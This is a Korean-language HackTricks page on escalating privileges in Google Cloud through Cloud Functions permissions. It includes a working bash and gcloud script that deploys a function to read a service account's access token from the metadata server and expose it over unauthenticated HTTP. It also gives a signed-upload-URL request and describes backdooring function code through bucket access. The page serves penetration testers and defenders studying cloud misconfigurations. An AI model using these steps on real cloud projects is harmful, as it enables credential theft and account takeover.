GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Cloud Functions에 대한 추가 정보:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

이 권한을 가진 공격자는 임의의 (악의적인) 코드를 가진 새로운 Cloud Function을 생성하고 이를 Service Account에 할당할 수 있습니다. 그런 다음 메타데이터에서 Service Account 토큰을 유출하여 권한을 상승시킬 수 있습니다. 함수를 트리거하기 위해 일부 권한이 필요할 수 있습니다.

이 방법에 대한 익스플로잇 스크립트는 여기여기에서 찾을 수 있으며, 미리 빌드된 .zip 파일은 여기에서 찾을 수 있습니다.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

이 권한을 가진 공격자는 Function의 코드를 수정하고 심지어 연결된 서비스 계정을 수정하여 토큰을 유출할 수 있습니다.

Cloud functions를 배포하려면 기본 컴퓨트 서비스 계정 또는 이미지를 빌드하는 데 사용되는 서비스 계정에 대한 actAs 권한도 필요합니다.

버전 1 cloudfunctions에 대한 .call 권한이나 함수를 트리거하기 위한 role/run.invoker 역할과 같은 추가 권한이 필요할 수 있습니다.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Permission 'run.services.setIamPolicy' denied on resource... 오류가 발생하는 경우, --allow-unauthenticated 매개변수를 사용하고 있으며 이에 대한 충분한 권한이 없기 때문입니다.

이 방법에 대한 익스플로잇 스크립트는 여기에서 찾을 수 있습니다.

cloudfunctions.functions.sourceCodeSet

이 권한을 사용하면 함수 버킷에 파일을 업로드할 수 있는 서명된 URL을 얻을 수 있습니다(하지만 함수의 코드는 변경되지 않으며, 여전히 업데이트해야 합니다)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

공격자의 관점에서 이 권한만으로 얼마나 유용할지는 잘 모르겠지만, 알아두면 좋습니다.

cloudfunctions.functions.setIamPolicy, iam.serviceAccounts.actAs

이전의 .update 또는 .create 권한 중 하나를 부여하여 권한 상승을 할 수 있습니다.

cloudfunctions.functions.update

cloudfunctions 권한만 가지고 iam.serviceAccounts.actAs 권한이 없으면 함수를 업데이트할 수 없으므로, 이것은 유효한 권한 상승이 아닙니다.

버킷에 대한 읽기 및 쓰기 접근

버킷에 대한 읽기 및 쓰기 접근 권한이 있다면 코드의 변경 사항을 모니터링할 수 있으며, 버킷에서 업데이트가 발생할 때마다 새로운 코드를 자신의 코드로 업데이트하여 제출된 백도어 코드로 실행되는 새로운 버전의 Cloud Function을 실행할 수 있습니다.

공격에 대한 자세한 내용은 다음에서 확인할 수 있습니다:

GCP - Storage Privesc

그러나, 이 방법을 사용하여 제3자의 Cloud Functions를 사전 침해할 수는 없습니다. 왜냐하면 자신의 계정에 버킷을 생성하고 외부 프로젝트가 그 위에 쓸 수 있도록 공개 권한을 부여하면 다음과 같은 오류가 발생하기 때문입니다:

그러나, 이것은 DoS 공격에 사용될 수 있습니다.

References

HackTricks 지원하기

Last updated